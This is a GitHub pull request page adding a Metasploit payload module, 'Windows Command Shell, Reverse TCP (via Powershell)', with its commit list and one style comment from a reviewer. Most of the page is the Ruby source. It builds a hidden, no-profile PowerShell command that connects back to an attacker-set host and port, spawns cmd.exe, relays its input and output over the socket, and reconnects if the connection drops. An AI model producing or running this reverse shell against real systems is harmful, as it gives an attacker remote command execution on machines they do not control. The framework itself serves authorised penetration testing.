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Windows CMD Powershell Reverse TCP #2959

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merged 4 commits into from
Feb 19, 2014
Merged

Windows CMD Powershell Reverse TCP #2959

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2d1a0c3
Windows CMD love too
Meatballs1 Feb 8, 2014
efe4d6b
Tidyup
Meatballs1 Feb 8, 2014
80814ad
Credit where credits due
Meatballs1 Feb 8, 2014
9f04e00
Stick with command let encoder handle encoding
Meatballs1 Feb 8, 2014
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91 changes: 91 additions & 0 deletions modules/payloads/singles/cmd/windows/reverse_powershell.rb
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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/find_shell'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions

def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
'Description' => 'Connect back and create a command shell via Powershell',
'Author' => ['Ben Campbell', 'Dave Kennedy'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'powershell',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end

#
# Constructs the payload
#
def generate
return super + command_string
end

#
# Returns the command string to use for execution
#
def command_string
lhost = datastore['LHOST']
lport = datastore['LPORT']
powershell = "function RSC{"\
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Maybe a heredoc with per-line strip would make this a little more readable:

powershell = <<-EOS.lines.map(&:strip).join
  function RSC{
  …
  }else{RSC}};
EOS

"if ($c.Connected -eq $true) {$c.Close()};"\
"if ($p.ExitCode -ne $null) {$p.Close()};"\
"exit;"\
"};"\
"$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
"$c.connect($a,$p);$s=$c.GetStream();"\
"$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
"$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\
"$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\
"$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\
"$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\
"while($os.Peek() -ne -1){"\
"$o += $e.GetString($os.Read())"\
"};"\
"$s.Write($e.GetBytes($o),0,$o.Length);"\
"$o=$null;$d=$false;$t=0;"\
"while (-not $d) {"\
"if ($c.Connected -ne $true) {RSC};"\
"$pos=0;$i=1; "\
"while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
"$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
"$pos+=$r;"\
"if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
"if ($pos -gt 0){"\
"$str=$e.GetString($nb,0,$pos);"\
"$is.write($str);start-sleep 1;"\
"if ($p.ExitCode -ne $null){RSC}else{"\
"$o=$e.GetString($os.Read());"\
"while($os.Peek() -ne -1){"\
"$o += $e.GetString($os.Read());"\
"if ($o -eq $str) {$o=''}"\
"};"\
"$s.Write($e.GetBytes($o),0,$o.length);"\
"$o=$null;"\
"$str=$null"\
"}"\
"}else{RSC}};"\

return "powershell -w hidden -nop -c #{powershell}"
end

end